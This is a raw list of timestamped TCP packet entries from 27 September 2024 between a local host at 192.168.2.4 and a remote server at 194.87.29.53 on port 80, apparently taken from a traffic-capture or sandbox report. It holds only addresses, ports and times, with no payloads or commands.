Sep 27, 2024 18:29:06.580068111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580096006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580120087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580142975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580152988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580162048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580172062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580180883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580188036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580215931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580363989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580374002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580388069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580398083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580406904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580410004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580429077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580460072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.582715988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582726002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582735062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582760096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582767963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.582771063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582783937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582788944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.582794905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.582808018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.582839012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.582968950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.583014965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.583847046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.583857059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.583868027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.583878040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.583919048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.583935976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584002972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584012985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584022999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584050894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584065914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584825993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584852934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584863901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584876060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584888935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584913969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584917068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584928989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584956884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.584969997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584980011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.584980965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.585009098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.585024118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.585196018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.585237026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586443901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586452961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586463928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586498976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586513996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586519957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586529970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586539030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586561918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586565971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586587906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586608887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586711884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586723089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586731911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586740971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586750984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586760044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586761951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586774111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586787939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586801052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586812973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586822033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.586823940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586853027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.586863995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.587914944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.587966919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.587994099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588015079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588023901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588038921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588052988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588112116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588121891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588131905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588141918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588160992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588179111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588253975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588263035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588272095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588301897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588316917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588344097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588355064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588363886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588371992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.588392973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.588418007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.589463949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589498043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589507103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589514971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.589541912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.589553118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.589632034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589642048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589651108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589663029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.589679956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.589704990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.659969091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.659995079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660007000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660017014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660027027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660037041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660048962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660053015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660159111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660168886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660180092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660187960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660187960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660191059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660218000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660218000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660245895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660267115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660285950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660299063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660309076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.660315990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660336018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.660345078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.661813974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661825895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661839008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661870956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.661892891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.661941051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661952019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661962986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661972046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.661986113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.662003994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.662026882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.663850069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663868904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663878918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663913012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.663927078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.663959026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663969994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663980961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.663992882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664001942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664026976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664050102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664129019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664139032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664155960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664166927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664175034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664200068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664200068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664208889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664343119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664355040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664366007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664375067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.664388895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664406061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.664434910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666157007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666198015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666209936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666212082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666239977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666239977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666253090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666259050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666280031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666290998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666343927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666357040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666385889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666398048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666914940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666960001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666965008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.666971922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.666999102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667001963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667011023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667052031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667064905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667077065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667088032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667095900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667109966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667121887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667148113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667176962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667195082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667205095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667216063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667226076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667241096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667270899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667305946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667316914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667325974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667334080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.667356014 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.667367935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.669751883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669761896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669773102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669799089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.669814110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.669847965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669859886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669868946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669879913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.669891119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.669904947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.669930935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671251059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671262980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671272993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671324968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671340942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671363115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671375036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671391964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671403885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671403885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671426058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671436071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671849966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671866894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.671895981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.671921015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.772727966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.777690887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019614935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019633055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019644022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019778967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019819975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019829988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019829988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.019829988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.019860983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.019860983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.019887924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.019948006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019958973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019963026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019968033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019977093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.019994020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020024061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020026922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020066023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020119905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020129919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020160913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020174026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020236969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020246983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020256042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020266056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020282984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020311117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020394087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020404100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020414114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020422935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020431995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020438910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020442009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020452976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020462990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020467997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020494938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020508051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020659924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020669937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020678997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020706892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020726919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020735025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020739079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020750999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020772934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020785093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020895004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020905018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020909071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020919085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020926952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020936966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020946026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020956039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.020957947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020982027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.020993948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021158934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021168947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021178961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021187067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021200895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021207094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021224976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021259069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021296978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021307945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021323919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021334887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021343946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021351099 CEST	60865	80	192.168.2.4	194.87.29.53
